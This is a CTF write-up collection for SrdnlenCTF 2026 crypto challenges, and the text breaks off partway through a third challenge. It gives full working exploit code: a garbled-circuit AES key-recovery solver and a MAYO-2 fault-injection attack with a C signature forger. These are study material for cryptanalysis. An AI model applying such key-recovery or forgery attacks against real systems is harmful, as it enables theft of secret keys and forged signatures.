# SrdnlenCTF 2026 ## crypto ### FHAES #### Description Service provides garbled-circuit evaluation of AES-based operations with a fixed per-connection secret key. Available circuits include `encrypt`, `decrypt`, `add`, `multiply`, and `custom_circuit` (wrapped as `Enc_k(custom(Dec_k(ct)))`). Goal: recover the 16-byte AES key and submit it. #### Solution The break is on garbling metadata, not AES cryptanalysis. 1. Build a `custom_circuit` that adds exactly one attacker-controlled AND gate: * `a = x0 XOR x0` * `b = NOT(a)` * `y0 = a AND b` * `y1..y127 = xi XOR xi` 2. In this construction, the custom AND gate leaks the global Free-XOR offset: * `delta = gate0 XOR gate1` for that custom AND table entry. 3. Key-schedule section of the AES circuit is fully garbled before evaluator-dependent AES rounds. * First 1360 AND gates are key-schedule-only. * We can evaluate this prefix locally as evaluator using received `key_evaluator` labels and AND tables. 4. Record the first 40 key-schedule S-box input-wire sets (done locally by instrumenting circuit construction). 5. For each of the first 16 key-schedule S-box calls (4 rounds of schedule bytes): * Known: active wire labels for that S-box input byte (`A0..A7`) and `delta`. * Unknown: semantic input byte bits. * For each candidate byte `v in [0..255]`, derive candidate zero labels (`Zi = Ai` if bit 0 else `Ai ^ delta`), re-garble one optimized S-box chunk (34 ANDs), and compare with observed AND tables at that chunk offset. * Each chunk yields a unique byte. 6. Reconstruct words `w3, w7, w11, w15` from chunk order (chunks are on `RotWord` order). 7. Recover initial words `w0, w1, w2` algebraically from AES-128 schedule recurrence using: * `w7, w11, w15` and `g(w3), g(w7), g(w11)`. 8. Key is `w0 || w1 || w2 || w3`. 9. Send empty circuit line to exit loop, submit recovered key, receive flag. Recovered flag: `srdnlen{I_hope_you_didn't_slop_this_one...although_I_don't_know_if_you_can_slop_it...}` Solution code used: ```python #!/usr/bin/env python3 import hashlib import json import re import sys from typing import Dict, List, Tuple from pwn import context, remote sys.path.insert(0, "work/extracted_2") import common from srdnlengarble import BinaryGate from srdnlengarble.circuits.aes import AES from srdnlengarble.circuits.gf2e import GF2E as GF2EValue from srdnlengarble.circuits.optimized_sbox import OptimizedSBox from srdnlengarble.garble.channel import bytes_to_point, point_to_bytes from srdnlengarble.wires.gf2e import GF2E as WireGF2E HOST = "fhaes.challs.srdnlen.it" PORT = 1337 TOP_FORWARD = [ "T1 = U0 + U3", "T2 = U0 + U5", "T3 = U0 + U6", "T4 = U3 + U5", "T5 = U4 + U6", "T6 = T1 + T5", "T7 = U1 + U2", "T8 = U7 + T6", "T9 = U7 + T7", "T10 = T6 + T7", "T11 = U1 + U5", "T12 = U2 + U5", "T13 = T3 + T4", "T14 = T6 + T11", "T15 = T5 + T11", "T16 = T5 + T12", "T17 = T9 + T16", "T18 = U3 + U7", "T19 = T7 + T18", "T20 = T1 + T19", "T21 = U6 + U7", "T22 = T7 + T21", "T23 = T2 + T22", "T24 = T2 + T10", "T25 = T20 + T17", "T26 = T3 + T16", "T27 = T1 + T12", ] SHARED = [ "M1 = T13 x T6", "M2 = T23 x T8", "M3 = T14 + M1", "M4 = T19 x D", "M5 = M4 + M1", "M6 = T3 x T16", "M7 = T22 x T9", "M8 = T26 + M6", "M9 = T20 x T17", "M10 = M9 + M6", "M11 = T1 x T15", "M12 = T4 x T27", "M13 = M12 + M11", "M14 = T2 x T10", "M15 = M14 + M11", "M16 = M3 + M2", "M17 = M5 + T24", "M18 = M8 + M7", "M19 = M10 + M15", "M20 = M16 + M13", "M21 = M17 + M15", "M22 = M18 + M13", "M23 = M19 + T25", "M24 = M22 + M23", "M25 = M22 x M20", "M26 = M21 + M25", "M27 = M20 + M21", "M28 = M23 + M25", "M29 = M28 x M27", "M30 = M26 x M24", "M31 = M20 x M23", "M32 = M27 x M31", "M33 = M27 + M25", "M34 = M21 x M22", "M35 = M24 x M34", "M36 = M24 + M25", "M37 = M21 + M29", "M38 = M32 + M33", "M39 = M23 + M30", "M40 = M35 + M36", "M41 = M38 + M40", "M42 = M37 + M39", "M43 = M37 + M38", "M44 = M39 + M40", "M45 = M42 + M41", "M46 = M44 x T6", "M47 = M40 x T8", "M48 = M39 x D", "M49 = M43 x T16", "M50 = M38 x T9", "M51 = M37 x T17", "M52 = M42 x T15", "M53 = M45 x T27", "M54 = M41 x T10", "M55 = M44 x T13", "M56 = M40 x T23", "M57 = M39 x T19", "M58 = M43 x T3", "M59 = M38 x T22", "M60 = M37 x T20", "M61 = M42 x T1", "M62 = M45 x T4", "M63 = M41 x T2", ] def h_wire(wire: int, and_idx: int) -> int: h = hashlib.shake_128() h.update(wire.to_bytes(16, "big")) h.update(and_idx.to_bytes(16, "big")) return int.from_bytes(h.digest(16), "big") def garble_and(A: int, B: int, D: int, and_idx: int) -> Tuple[int, int, int]: r = B & 1 alpha = A & 1 beta = B & 1 X1 = A ^ (D * alpha) Y1 = B ^ (D * beta) AD = A ^ D BD = B ^ D Bsel = BD if beta == 0 else B newA = AD if alpha == 0 else A hashA = h_wire(newA, and_idx) hashB = h_wire(Bsel, and_idx) hashX = h_wire(X1, and_idx) hashY = h_wire(Y1, and_idx) X = hashX ^ (D * ((alpha * r) % 2)) Y = hashY idx = r if alpha == 0 else 0 gate0 = hashA ^ (X if idx == 0 else X ^ D) gate1 = hashB ^ (Y ^ A) z = X ^ Y return gate0, gate1, z def evaluator_and(A: int, B: int, gate0: int, gate1: int, and_idx: int) -> int: hashA = h_wire(A, and_idx) hashB = h_wire(B, and_idx) L = hashA if (A & 1) == 0 else (hashA ^ gate0) R = hashB if (B & 1) == 0 else (hashB ^ gate1) return L ^ R ^ (A * (B & 1)) def build_leak_circuit() -> List[dict]: circuit = [ {"type": "XOR", "inputs": ["x0", "x0"], "output": "a"}, {"type": "NOT", "inputs": ["a"], "output": "b"}, {"type": "AND", "inputs": ["a", "b"], "output": "y0"}, ] for i in range(1, 128): circuit.append({"type": "XOR", "inputs": [f"x{i}", f"x{i}"], "output": f"y{i}"}) return circuit def build_metadata() -> Tuple[object, str, List[Tuple[int, ...]], int, int, int]: leak_circuit = build_leak_circuit() sbox_inputs: List[Tuple[int, ...]] = [] orig_sbox = AES.sbox def wrapped_sbox(byte): if isinstance(byte, WireGF2E): sbox_inputs.append(tuple(byte.wires)) return orig_sbox(byte) AES.sbox = staticmethod(wrapped_sbox) try: bc, _ = common.custom_circuit(leak_circuit) finally: AES.sbox = orig_sbox if len(sbox_inputs) < 40: raise RuntimeError(f"unexpected sbox count: {len(sbox_inputs)}") sbox_inputs = sbox_inputs[:40] custom_and_idx = None and_idx = 0 a_wire = None b_wire = None for gate in bc.gates: if isinstance(gate, BinaryGate.Xor) and gate.input_left == gate.input_right and a_wire is None: a_wire = gate.output_wire elif isinstance(gate, BinaryGate.Not) and a_wire is not None and gate.input_wire == a_wire and b_wire is None: b_wire = gate.output_wire elif isinstance(gate, BinaryGate.And): if a_wire is not None and b_wire is not None and gate.input_left == a_wire and gate.input_right == b_wire: custom_and_idx = and_idx break and_idx += 1 if custom_and_idx is None: raise RuntimeError("failed to locate custom AND index") num_and = sum(isinstance(g, BinaryGate.And) for g in bc.gates) num_outputs = bc.num_outputs garble_lines = 2 * num_and + 2 * num_outputs dep_eval = {wid: False for wid in bc.garbler_inputs} dep_keys = {wid: {i} for i, wid in enumerate(bc.garbler_inputs)} for wid in bc.evaluator_inputs: dep_eval[wid] = True dep_keys[wid] = set() keysched_and_count = None and_counter = 0 for gate in bc.gates: if isinstance(gate, BinaryGate.Xor): dep_eval[gate.output_wire] = dep_eval[gate.input_left] or dep_eval[gate.input_right] dep_keys[gate.output_wire] = dep_keys[gate.input_left] | dep_keys[gate.input_right] elif isinstance(gate, BinaryGate.Not): dep_eval[gate.output_wire] = dep_eval[gate.input_wire] dep_keys[gate.output_wire] = set(dep_keys[gate.input_wire]) elif isinstance(gate, BinaryGate.And): l_eval = dep_eval[gate.input_left] r_eval = dep_eval[gate.input_right] dep_eval[gate.output_wire] = l_eval or r_eval dep_keys[gate.output_wire] = dep_keys[gate.input_left] | dep_keys[gate.input_right] if keysched_and_count is None and (l_eval or r_eval): keysched_and_count = and_counter break and_counter += 1 elif isinstance(gate, BinaryGate.EqualityConstraint): lhs_eval = dep_eval.get(gate.lhs) rhs_eval = dep_eval.get(gate.rhs) lhs_keys = dep_keys.get(gate.lhs) rhs_keys = dep_keys.get(gate.rhs) if lhs_eval is not None and rhs_eval is None: dep_eval[gate.rhs] = lhs_eval dep_keys[gate.rhs] = set(lhs_keys) elif rhs_eval is not None and lhs_eval is None: dep_eval[gate.lhs] = rhs_eval dep_keys[gate.lhs] = set(rhs_keys) elif lhs_eval is not None and rhs_eval is not None: ev = lhs_eval or rhs_eval ks = lhs_keys | rhs_keys dep_eval[gate.lhs] = ev dep_eval[gate.rhs] = ev dep_keys[gate.lhs] = set(ks) dep_keys[gate.rhs] = set(ks) if keysched_and_count != 1360: raise RuntimeError(f"unexpected key-schedule AND count: {keysched_and_count}") arg_hex = json.dumps(leak_circuit, separators=(",", ":")).encode().hex() return bc, arg_hex, sbox_inputs, custom_and_idx, keysched_and_count, garble_lines def recv_hex_line(io) -> int: line = io.recvline().strip() return int(line, 16) def get_query_transcript(io, arg_hex: str, garble_lines: int) -> Tuple[List[int], List[Tuple[int, int]], List[int]]: prompt = b"Enter circuit name and args (hex encoded JSON): " io.recvuntil(prompt) io.sendline(f"custom_circuit {arg_hex}".encode()) key_active = [recv_hex_line(io) for _ in range(128)] P_hex = io.recvline().strip() P_point = bytes_to_point(bytes.fromhex(P_hex.decode())) R_hex = point_to_bytes(2 * P_point).hex().encode() io.recvline_contains(b"Sending evaluator input wires for ct (128 bits)...") for _ in range(128): io.sendline(R_hex) _ = recv_hex_line(io) _ = recv_hex_line(io) io.recvline_contains(b"Evaluating circuit...") garble_data = [recv_hex_line(io) for _ in range(garble_lines)] return key_active, [(garble_data[2 * i], garble_data[2 * i + 1]) for i in range((garble_lines // 2) - 128)], garble_data def compute_active_labels_keyschedule( bc, key_active: List[int], and_pairs: List[Tuple[int, int]], keysched_and_count: int, ) -> Dict[int, int]: wm: Dict[int, int] = {} for i, wid in enumerate(bc.garbler_inputs): wm[wid] = key_active[i] and_idx = 0 for gate in bc.gates: if isinstance(gate, BinaryGate.Xor): if gate.input_left in wm and gate.input_right in wm: wm[gate.output_wire] = wm[gate.input_left] ^ wm[gate.input_right] elif isinstance(gate, BinaryGate.Not): if gate.input_wire in wm: wm[gate.output_wire] = wm[gate.input_wire] elif isinstance(gate, BinaryGate.And): if and_idx >= keysched_and_count: break A = wm[gate.input_left] B = wm[gate.input_right] g0, g1 = and_pairs[and_idx] wm[gate.output_wire] = evaluator_and(A, B, g0, g1, and_idx) and_idx += 1 elif isinstance(gate, BinaryGate.EqualityConstraint): lhs = wm.get(gate.lhs) rhs = wm.get(gate.rhs) if lhs is not None and rhs is None: wm[gate.rhs] = lhs elif rhs is not None and lhs is None: wm[gate.lhs] = rhs elif lhs is not None and rhs is not None and lhs != rhs: raise RuntimeError("unexpected equality mismatch") if and_idx != keysched_and_count: raise RuntimeError(f"processed {and_idx} key-schedule ANDs, expected {keysched_and_count}") return wm def solve_chunk_byte( chunk_idx: int, input_wires: Tuple[int, ...], wm: Dict[int, int], D: int, and_pairs: List[Tuple[int, int]], ) -> int: start_and = 34 * chunk_idx active_bits = [wm[w] for w in input_wires] solutions = [] for value in range(256): z_bits = [active_bits[j] if ((value >> j) & 1) == 0 else (active_bits[j] ^ D) for j in range(8)] vars_map = {f"U{i}": z_bits[7 - i] for i in range(8)} for line in TOP_FORWARD: lhs, rhs = [x.strip() for x in line.split("=")] x, y = [x.strip() for x in rhs.split("+")] vars_map[lhs] = vars_map[x] ^ vars_map[y] vars_map["D"] = vars_map["U7"] ok = True and_idx = start_and for line in SHARED: lhs, rhs = [x.strip() for x in line.split("=")] if " x " in rhs: x, y = [x.strip() for x in rhs.split(" x ")] g0, g1, z = garble_and(vars_map[x], vars_map[y], D, and_idx) if (g0, g1) != and_pairs[and_idx]: ok = False break vars_map[lhs] = z and_idx += 1 else: x, y = [x.strip() for x in rhs.split("+")] vars_map[lhs] = vars_map[x] ^ vars_map[y] if ok: solutions.append(value) if len(solutions) != 1: raise RuntimeError(f"chunk {chunk_idx} has {len(solutions)} candidates") return solutions[0] def xor_words(a: List[int], b: List[int]) -> List[int]: return [x ^ y for x, y in zip(a, b)] def g_word(word: List[int], rcon_byte: int) -> List[int]: rot = [word[1], word[2], word[3], word[0]] sub = [OptimizedSBox.sbox(GF2EValue(x, 0x11B)).value for x in rot] sub[0] ^= rcon_byte return sub def recover_key_from_transcript( bc, sbox_inputs: List[Tuple[int, ...]], key_active: List[int], and_pairs: List[Tuple[int, int]], custom_and_idx: int, keysched_and_count: int, ) -> bytes: D = and_pairs[custom_and_idx][0] ^ and_pairs[custom_and_idx][1] wm = compute_active_labels_keyschedule(bc, key_active, and_pairs, keysched_and_count) chunk_vals = [solve_chunk_byte(i, sbox_inputs[i], wm, D, and_pairs) for i in range(16)] def word_from_chunk(base: int) -> List[int]: v0, v1, v2, v3 = chunk_vals[base:base + 4] return [v3, v0, v1, v2] A0 = word_from_chunk(0) A1 = word_from_chunk(4) A2 = word_from_chunk(8) A3 = word_from_chunk(12) G0 = g_word(A0, 0x01) G1 = g_word(A1, 0x02) G2 = g_word(A2, 0x04) C1 = xor_words(xor_words(A1, A0), G0) C2 = xor_words(xor_words(A2, A1), xor_words(G0, G1)) C3 = xor_words(xor_words(A3, A2), xor_words(G1, G2)) w0 = xor_words(C1, C3) w1 = xor_words(C1, C2) w2 = xor_words(xor_words(C1, C2), C3) return bytes(w0 + w1 + w2 + A0) def main() -> None: context.log_level = "error" bc, arg_hex, sbox_inputs, custom_and_idx, keysched_and_count, garble_lines = build_metadata() num_and = sum(isinstance(g, BinaryGate.And) for g in bc.gates) io = remote(HOST, PORT) try: key_active, and_pairs, _ = get_query_transcript(io, arg_hex, garble_lines) if len(and_pairs) != num_and: raise RuntimeError(f"AND pair count mismatch: got {len(and_pairs)}, expected {num_and}") key = recover_key_from_transcript( bc, sbox_inputs, key_active, and_pairs, custom_and_idx, keysched_and_count, ) io.recvuntil(b"Enter circuit name and args (hex encoded JSON): ") io.sendline(b"") io.recvuntil(b"Enter your guess for the key (hex): ") io.sendline(key.hex().encode()) out = io.recvall(timeout=3).decode(errors="ignore") print(out, end="") m = re.search(r"srdnlen\{[^\n}]*\}", out) if m: print(f"\n[+] Flag: {m.group(0)}") else: print("\n[-] Flag not found in output") print(f"[i] Recovered key: {key.hex()}") finally: io.close() if __name__ == "__main__": main() ``` ### Faulty Mayo #### Description The service exposes a one-byte fault injection in a patched MAYO-2 signer (`chall`) before returning `(pk, sm)` for a fixed secret key. The allowed patch window sits inside `mayo_sign_signature`, specifically in the final `s = v + O*x` construction. With carefully chosen one-byte patches, each signature query leaks linear equations in one row of secret matrix `O` over GF(16). Recovering all 64 rows of `O` lets us forge valid signatures for arbitrary messages and obtain the flag from option 2. #### Solution 1. Reverse `chall` and map patchable offsets to instructions in `mayo_sign_signature`. 2. Use faulted signatures to obtain equations for unknown row entries of `O`. 3. Solve each row as a 17-variable linear system over GF(16). 4. Rebuild an equivalent signer using recovered `O` and public `seed_pk` from `cpk`. 5. Forge a valid signature for the challenge message, submit as signed message hex `sm = sig || msg`. Fault offsets used per row (MAYO-2): * `row 0`: patch `0x62f5 -> 0x7d` * `row 1`: patch `0x630d -> 0x7d` * `rows 2..62`: patch `0x6323 + 0x16*(row-2) -> 0x25` * `row 63`: patch `0x6866 -> 0x25` Exploit script (`solve.py`): ```python #!/usr/bin/env python3 import hashlib import json import re import socket import subprocess import sys import time from pathlib import Path HOST = "mayo.challs.srdnlen.it" PORT = 1340 # --- GF(16) arithmetic used by MAYO (x^4 + x + 1) MUL = [[0] * 16 for _ in range(16)] for a in range(16): for b in range(16): p = ((a & 1) * b) ^ ((a & 2) * b) ^ ((a & 4) * b) ^ ((a & 8) * b) t = p & 0xF0 MUL[a][b] = (p ^ (t >> 4) ^ (t >> 3)) & 0xF INV = [0] * 16 for a in range(1, 16): for b in range(1, 16): if MUL[a][b] == 1: INV[a] = b break def gf_dot(a, b): z = 0 for x, y in zip(a, b): z ^= MUL[x][y] return z def solve_linear(equations, nvars=17): # equations: list[(xvec, y)] over GF16 A = [x[:] + [y] for x, y in equations] m = len(A) row = 0 pivots = [] for col in range(nvars): piv = None for r in range(row, m): if A[r][col] != 0: piv = r break if piv is None: continue A[row], A[piv] = A[piv], A[row] invp = INV[A[row][col]] A[row] = [MUL[invp][v] for v in A[row]] for r in range(m): if r != row and A[r][col] != 0: f = A[r][col] A[r] = [A[r][c] ^ MUL[f][A[row][c]] for c in range(nvars + 1)] pivots.append((row, col)) row += 1 if row == m: break # inconsistency check for r in range(m): if all(A[r][c] == 0 for c in range(nvars)) and A[r][nvars] != 0: return None, row sol = [0] * nvars for r, c in pivots: sol[c] = A[r][nvars] return sol, row # --- challenge-specific helpers CHALL_PATH = Path("attachments/chall") CHALL_BYTES = CHALL_PATH.read_bytes() def patch_params_for_target(orig, target): # server applies: # new = (orig & (0xf0 if idx2 else 0x0f)) | (val << (0 if idx2 else 4)) # use idx2=1 if possible for val in range(256): new = (orig & 0xF0) | val if new == target: return 1, val # fallback idx2=0 (val must be nibble to avoid overflow in server code) for val in range(16): new = (orig & 0x0F) | (val << 4) if new == target: return 0, val raise ValueError(f"cannot patch byte {orig:02x} -> {target:02x}") def row_patch(row_idx): if row_idx == 0: off = 0x62F5 target = 0x7D elif row_idx == 1: off = 0x630D target = 0x7D elif 2 <= row_idx <= 62: off = 0x6323 + (row_idx - 2) * 0x16 target = 0x25 elif row_idx == 63: off = 0x6866 target = 0x25 else: raise ValueError("row out of range") orig = CHALL_BYTES[off] idx2, val = patch_params_for_target(orig, target) return off, idx2, val def recv_all(sock, timeout=3.0): sock.settimeout(timeout) chunks = [] while True: try: data = sock.recv(4096) if not data: break chunks.append(data) except socket.timeout: break return b"".join(chunks) def recv_until_text(sock, markers, total_timeout=15.0, chunk_timeout=0.8): deadline = time.time() + total_timeout data = b"" while time.time() < deadline: rem = max(0.05, deadline - time.time()) sock.settimeout(min(chunk_timeout, rem)) try: chunk = sock.recv(4096) except socket.timeout: continue if not chunk: break data += chunk text = data.decode("latin1", "ignore") if all(m in text for m in markers): return text return data.decode("latin1", "ignore") def query_fault(off, idx2, val, retries=12): for attempt in range(retries): try: with socket.create_connection((HOST, PORT), timeout=5) as s: _ = recv_all(s, timeout=0.4) s.sendall(b"1\n") time.sleep(0.03) _ = recv_all(s, timeout=0.3) s.sendall(f"{off}\n".encode()) time.sleep(0.03) _ = recv_all(s, timeout=0.3) s.sendall(f"{idx2}\n".encode()) time.sleep(0.03) _ = recv_all(s, timeout=0.3) s.sendall(f"{val}\n".encode()) out = recv_until_text(s, ("pk: ", "sm: "), total_timeout=15.0, chunk_timeout=0.8) m_pk = re.search(r"pk: ([0-9a-f]+)", out) m_sm = re.search(r"sm: ([0-9a-f]+)", out) if not (m_pk and m_sm): raise RuntimeError(f"missing pk/sm in oracle response (len={len(out)})") pk_hex = m_pk.group(1) sm_hex = m_sm.group(1) sm = bytes.fromhex(sm_hex) if len(sm) < 186: raise RuntimeError(f"short sm ({len(sm)} bytes)") return pk_hex, sm except Exception: if attempt == retries - 1: raise time.sleep(0.7) def decode_sig_to_s(sig_bytes): # sig is 186 bytes for MAYO-2, first 162 bytes are encoded s (324 nibbles) s_enc = sig_bytes[:162] s = [] for b in s_enc: s.append(b & 0x0F) s.append((b >> 4) & 0x0F) return s def recover_rows(): checkpoint = Path("rows_checkpoint.json") rows = [None] * 64 cpk_hex = None if checkpoint.exists(): data = json.loads(checkpoint.read_text()) rows = data.get("rows", rows) cpk_hex = data.get("cpk_hex") for j in range(64): if rows[j] is not None: print(f"row {j:02d} already solved, skipping") continue off, idx2, val = row_patch(j) eqs = [] while True: pk_hex, sm = query_fault(off, idx2, val) if cpk_hex is None: cpk_hex = pk_hex elif cpk_hex != pk_hex: raise RuntimeError("public key changed across queries") s = decode_sig_to_s(sm[:186]) if len(s) < 324: continue for i in range(4): base = i * 81 x = s[base + 64: base + 81] y = s[base + j] if len(x) != 17: continue eqs.append((x, y)) sol, rank = solve_linear(eqs) if sol is not None and rank >= 17: # sanity-check all equations collected so far if all(gf_dot(sol, x) == y for x, y in eqs): rows[j] = sol print(f"row {j:02d} solved with {len(eqs)} equations") checkpoint.write_text(json.dumps({ "rows": rows, "cpk_hex": cpk_hex, })) break # avoid infinite loops if something goes wrong if len(eqs) > 120: raise RuntimeError(f"failed to solve row {j}") return rows, cpk_hex def forge_signature(message, seed_pk_hex, o_hex, cpk_hex=None): cmd = ["./forge_mayo", message, seed_pk_hex, o_hex] if cpk_hex is not None: cmd.append(cpk_hex) p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) if p.returncode != 0: raise RuntimeError(f"forge failed rc={p.returncode}: {p.stderr.strip()}") sig_hex = p.stdout.strip() if not re.fullmatch(r"[0-9a-f]+", sig_hex): raise RuntimeError("forge returned non-hex") return sig_hex def get_flag_with_signature(sm_hex): with socket.create_connection((HOST, PORT), timeout=5) as s: _ = recv_all(s, timeout=0.4) s.sendall(b"2\n") banner = recv_all(s, timeout=1.2).decode("latin1", "ignore") m = re.search(r'message "([A-Za-z0-9]{32})"', banner) if not m: raise RuntimeError("could not parse target message") msg = m.group(1) s.sendall(sm_hex.encode() + b"\n") out = recv_all(s, timeout=1.5).decode("latin1", "ignore") return msg, out def main(): print("[*] Recovering O rows from fault oracle...") rows, cpk_hex = recover_rows() # Build O bytes hex (1088 bytes, each element 0..15 stored as one byte) o_bytes = bytes(v for row in rows for v in row) o_hex = o_bytes.hex() # MAYO-2 cpk begins with 16-byte seed_pk seed_pk_hex = cpk_hex[:32] # quick local sanity check with recovered key material against remote cpk test_msg = "A" * 32 _ = forge_signature(test_msg, seed_pk_hex, o_hex, cpk_hex=cpk_hex) print("[*] Local verify with recovered key material passed") # now request challenge message and forge signature on demand # first fetch target message without sending sig, then reconnect with valid sig # easiest: get message and submit within same connection by parsing prompt first with socket.create_connection((HOST, PORT), timeout=5) as s: _ = recv_all(s, timeout=0.4) s.sendall(b"2\n") banner = recv_all(s, timeout=1.2).decode("latin1", "ignore") m = re.search(r'message "([A-Za-z0-9]{32})"', banner) if not m: raise RuntimeError("could not parse target message") target_msg = m.group(1) print(f"[*] Target message: {target_msg}") sig_hex = forge_signature(target_msg, seed_pk_hex, o_hex, cpk_hex=cpk_hex) sm_hex = sig_hex + target_msg.encode().hex() s.sendall(sm_hex.encode() + b"\n") out = recv_all(s, timeout=1.5).decode("latin1", "ignore") print(out) mflag = re.search(r"srdnlen\{[^}]+\}", out) if not mflag: raise RuntimeError("flag not found in response") flag = mflag.group(0) print(f"[+] FLAG: {flag}") # Save artifacts for reproducibility Path("recovered_rows.json").write_text(json.dumps(rows)) Path("recovered_key.json").write_text(json.dumps({ "seed_pk_hex": seed_pk_hex, "cpk_hex": cpk_hex, "o_hex": o_hex, "flag": flag, })) if __name__ == "__main__": main() ``` Custom signer (`forge_mayo.c`): ```c #include #include #include #include // Pull in MAYO internals (static helpers like decode/compute_A/expand_P1_P2) #include "MAYO-C/src/mayo.c" static int hexval(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + (c - 'a'); if (c >= 'A' && c <= 'F') return 10 + (c - 'A'); return -1; } static int parse_hex(const char *hex, unsigned char *out, size_t out_len) { size_t n = strlen(hex); if (n != out_len * 2) return -1; for (size_t i = 0; i < out_len; i++) { int hi = hexval(hex[2*i]); int lo = hexval(hex[2*i + 1]); if (hi < 0 || lo < 0) return -1; out[i] = (unsigned char)((hi << 4) | lo); } return 0; } static void print_hex_buf(const unsigned char *buf, size_t len) { for (size_t i = 0; i < len; i++) { printf("%02x", buf[i]); } printf("\n"); } static int sign_with_O(const mayo_params_t *p, unsigned char *sig, size_t *siglen, const unsigned char *m, size_t mlen, const unsigned char *seed_pk, const unsigned char *O_in) { int ret = MAYO_OK; unsigned char tenc[M_BYTES_MAX], t[M_MAX]; unsigned char y[M_MAX]; unsigned char salt[SALT_BYTES_MAX]; unsigned char V[K_MAX * V_BYTES_MAX + R_BYTES_MAX], Vdec[V_MAX * K_MAX]; unsigned char A[((M_MAX + 7) / 8 * 8) * (K_MAX * O_MAX + 1)] = {0}; unsigned char x[K_MAX * N_MAX]; unsigned char r[K_MAX * O_MAX + 1] = {0}; unsigned char s[K_MAX * N_MAX]; alignas(32) sk_t sk; unsigned char Ox[V_MAX]; unsigned char tmp[DIGEST_BYTES_MAX + SALT_BYTES_MAX + 1]; unsigned char *vi; const int param_m = PARAM_m(p); const int param_n = PARAM_n(p); const int param_o = PARAM_o(p); const int param_k = PARAM_k(p); const int param_v = PARAM_v(p); const int param_m_bytes = PARAM_m_bytes(p); const int param_v_bytes = PARAM_v_bytes(p); const int param_r_bytes = PARAM_r_bytes(p); const int param_sig_bytes = PARAM_sig_bytes(p); const int param_A_cols = PARAM_A_cols(p); const int param_digest_bytes = PARAM_digest_bytes(p); const int param_salt_bytes = PARAM_salt_bytes(p); memset(&sk, 0, sizeof(sk)); // Build expanded secret from public seed_pk + recovered O. expand_P1_P2(p, sk.p, seed_pk); memcpy(sk.O, O_in, (size_t)(param_v * param_o)); uint64_t *P1 = sk.p; uint64_t *L = P1 + PARAM_P1_limbs(p); uint64_t Mtmp[K_MAX * O_MAX * M_VEC_LIMBS_MAX] = {0}; // L = (P1 + P1^t)*O + P2 P1P1t_times_O(p, P1, sk.O, L); // digest = H(m) shake256(tmp, param_digest_bytes, m, mlen); // salt can be arbitrary random bytes for correctness if (randombytes(salt, (size_t)param_salt_bytes) != MAYO_OK) { return MAYO_ERR; } // t = H(digest || salt) memcpy(tmp + param_digest_bytes, salt, (size_t)param_salt_bytes); shake256(tenc, param_m_bytes, tmp, (size_t)(param_digest_bytes + param_salt_bytes)); decode(tenc, t, param_m); int solved = 0; for (int attempt = 0; attempt < 20000; attempt++) { if (randombytes(V, (size_t)(param_k * param_v_bytes + param_r_bytes)) != MAYO_OK) { ret = MAYO_ERR; goto err; } for (int i = 0; i <= param_k - 1; ++i) { decode(V + i * param_v_bytes, Vdec + i * param_v, param_v); } compute_M_and_VPV(p, Vdec, L, P1, Mtmp, (uint64_t*) A); compute_rhs(p, (uint64_t*) A, t, y); compute_A(p, Mtmp, A); for (int i = 0; i < param_m; i++) { A[(1 + i) * (param_k * param_o + 1) - 1] = 0; } decode(V + param_k * param_v_bytes, r, param_k * param_o); if (sample_solution(p, A, y, r, x, param_k, param_o, param_m, param_A_cols)) { solved = 1; break; } memset(Mtmp, 0, sizeof(Mtmp)); memset(A, 0, sizeof(A)); } if (!solved) { ret = MAYO_ERR; goto err; } for (int i = 0; i <= param_k - 1; ++i) { vi = Vdec + i * (param_n - param_o); mat_mul(sk.O, x + i * param_o, Ox, param_o, param_n - param_o, 1); mat_add(vi, Ox, s + i * param_n, param_n - param_o, 1); memcpy(s + i * param_n + (param_n - param_o), x + i * param_o, (size_t)param_o); } encode(s, sig, param_n * param_k); memcpy(sig + param_sig_bytes - param_salt_bytes, salt, (size_t)param_salt_bytes); *siglen = (size_t)param_sig_bytes; err: mayo_secure_clear(V, sizeof(V)); mayo_secure_clear(Vdec, sizeof(Vdec)); mayo_secure_clear(A, sizeof(A)); mayo_secure_clear(r, sizeof(r)); mayo_secure_clear(sk.O, sizeof(sk.O)); mayo_secure_clear(&sk, sizeof(sk_t)); mayo_secure_clear(Ox, sizeof(Ox)); mayo_secure_clear(tmp, sizeof(tmp)); mayo_secure_clear(Mtmp, sizeof(Mtmp)); return ret; } int main(int argc, char **argv) { if (argc < 4 || argc > 5) { fprintf(stderr, "Usage: %s [cpk_hex]\n", argv[0]); return 1; } const mayo_params_t *p = &MAYO_2; const char *msg = argv[1]; size_t mlen = strlen(msg); unsigned char seed_pk[PK_SEED_BYTES_MAX]; unsigned char O[O_MAX * V_MAX]; const int param_pk_seed_bytes = PARAM_pk_seed_bytes(p); const int param_v = PARAM_v(p); const int param_o = PARAM_o(p); const int param_sig_bytes = PARAM_sig_bytes(p); if (parse_hex(argv[2], seed_pk, (size_t)param_pk_seed_bytes) != 0) { fprintf(stderr, "invalid seed_pk hex\n"); return 1; } if (parse_hex(argv[3], O, (size_t)(param_v * param_o)) != 0) { fprintf(stderr, "invalid O hex\n"); return 1; } unsigned char sig[SIG_BYTES_MAX]; size_t siglen = 0; int ret = sign_with_O(p, sig, &siglen, (const unsigned char *)msg, mlen, seed_pk, O); if (ret != MAYO_OK || siglen != (size_t)param_sig_bytes) { fprintf(stderr, "signing failed\n"); return 2; } if (argc == 5) { unsigned char cpk[CPK_BYTES_MAX]; if (parse_hex(argv[4], cpk, (size_t)PARAM_cpk_bytes(p)) != 0) { fprintf(stderr, "invalid cpk hex\n"); return 1; } int vr = mayo_verify(p, (const unsigned char *)msg, mlen, sig, cpk); if (vr != MAYO_OK) { fprintf(stderr, "local verify failed\n"); return 3; } } print_hex_buf(sig, siglen); return 0; } ``` Build and run: ```bash gcc -O2 -I MAYO-C/include -I MAYO-C/src -I MAYO-C/src/mayo_2 -I MAYO-C/src/common -I MAYO-C/src/generic -o forge_mayo forge_mayo.c MAYO-C/src/arithmetic.c MAYO-C/src/common/fips202.c MAYO-C/src/common/mem.c MAYO-C/src/common/randombytes_system.c python3 -u solve.py ``` Recovered flag: `srdnlen{M4YO+0n3_N1bBl3_F4ulT=Br0k3N}` ### Lightweight #### Description We are given an oracle based on a 4-round Ascon-like permutation: * Secret key: `key[0], key[1]` (128 bits total), fixed for the session. * Per query we choose `diff = (d0, d1)`. * Server samples random nonce `(n0, n1)`, prints: * nonce * `F_k(n0, n1)` (first two 64-bit words after 4 rounds) * 